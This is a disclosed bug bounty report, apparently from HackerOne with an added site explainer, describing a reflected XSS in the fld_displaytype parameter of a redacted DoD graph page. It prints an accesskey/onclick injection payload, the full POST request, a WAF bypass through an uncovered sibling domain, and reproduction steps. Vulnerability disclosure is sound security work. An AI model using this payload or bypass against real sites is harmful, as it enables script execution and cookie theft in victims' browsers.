[XSS] Reflected XSS via POST request
A reflected cross-site scripting flaw existed in the fld_displaytype parameter of a historic graph page, where a payload using an accesskey and onclick handler could execute script when the user pressed a keyboard shortcut. An attacker could trick a user into submitting a crafted POST request and pressing the shortcut to run script in the victim's browser.
Originally disclosed on HackerOne
- Triaged in 34 hours
- Fixed in 24 days
- Disclosed after 26 days
Description:
XSS vulnerability found on one of █████████ subdomains. [ DoD scope]
After analyzing https://██████████/ I found ██████/████████-historic.cfm page that send some parameters to servers. fld_displaytype parameter vulnerable to XSS vulnerability.
fld_displaytype=S changed to fld_displaytype=S"%20accesskey%3d"X"%20onclick%3d"alert('XSS Success!')
WAF deployed on the endpoint to prevent such a attacks but I found another domain linked to this host but WAF did not cover that so I success to fire the payload.
By sending the POST request to https://█████████████████/ , payload has been successfully triggered.
POST /██████/███████-historic.cfm HTTP/1.1
Host: █████████
Cookie: CFID=29878711; CFTOKEN=71972184
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 347
Origin: null
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
fld_graphfs=Y&fld_graphrs=N&fld_graphy1=N&fld_graphy2=N&fld_normal=Y&fld_max=Y&fld_min=Y&Submit=View-Graph&fld_from1=01%2F01%2F2023&fld_to1=12%2F31%2F2023&fld_displaytype=S"%20accesskey%3d"X"%20onclick%3d"alert('XSS Success!')&fld_type1=Plot&fld_frompor=&fld_topor=&fld_year1=2023&fld_year2=2023&fld_mon1=01&fld_day1=01&fld_mon2=12&fld_day2=31&fld_param=HT
- WAF enabled https://████████████/
██████████
- WAF disabled https://███████████████/
███
Summary: Trigger a hidden stored XSS payload requires user interaction*. user should press ALT+SHIFT+X to call hidden payload.
References
https://owasp.org/www-community/attacks/xss/
Impact
By exploiting this vulnerability an attacker can trick the users to execute XSS and steal user's cookies. Launch advanced phishing attacks. Execute browser-based attacks etc.
System Host(s)
████████████, ████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Firefox
- Visit the following URL using Firefox
https://████████████/██████/█████████-historic.cfm
-
Intercept the request before click on
View-Graph -
Change
fld_displaytype=Stofld_displaytype=S"%20accesskey%3d"X"%20onclick%3d"alert('XSS Success!')in request body. -
press ALT+SHIT+X and you will receive
XSS Success!alert box.
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could trick users into executing script to steal cookies and launch phishing or other browser-based attacks, though the exploit required the victim to press a specific keyboard shortcut.
What the attacker needed
Victim uses Firefox; victim presses ALT+SHIFT+X; attacker can craft a POST request
How it was found
- Visit the historic graph page in Firefox.
- Intercept the request before clicking View-Graph.
- Change the fld_displaytype value in the request body to the XSS payload.
- Press ALT+SHIFT+X to trigger the alert.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) lets an attacker slip their own JavaScript into a page that other people view, so the code runs as if the site wrote it. Here the page echoed back a value from a form without making it safe, and the attacker hid a script behind a keyboard shortcut. The victim had to press a key combination for the script to run.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.